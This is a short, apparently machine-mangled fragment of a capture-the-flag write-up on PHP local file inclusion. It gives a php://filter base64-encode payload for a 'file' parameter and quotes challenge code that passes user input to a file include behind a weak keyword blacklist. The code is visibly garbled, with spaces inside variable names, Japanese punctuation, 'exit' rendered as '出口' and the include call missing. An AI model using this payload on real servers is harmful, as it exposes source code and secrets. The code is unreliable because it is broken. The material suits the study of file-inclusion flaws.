?file = php://filter/convert.base64-encode/resource=
<html> <title> secret </ title> <meta charset = "UTF-8"> <?php highlight_file(__FILE__ ); error_reporting(0 ); $ file = $ _GET ['file' ]; if(strstr($ file、 "../")|| stristr($ file、 "tp")|| stristr($ file、 "input")|| stristr($ file、 "data" )){ echo "大野!" ; 出口(); ($ file ); // フラグ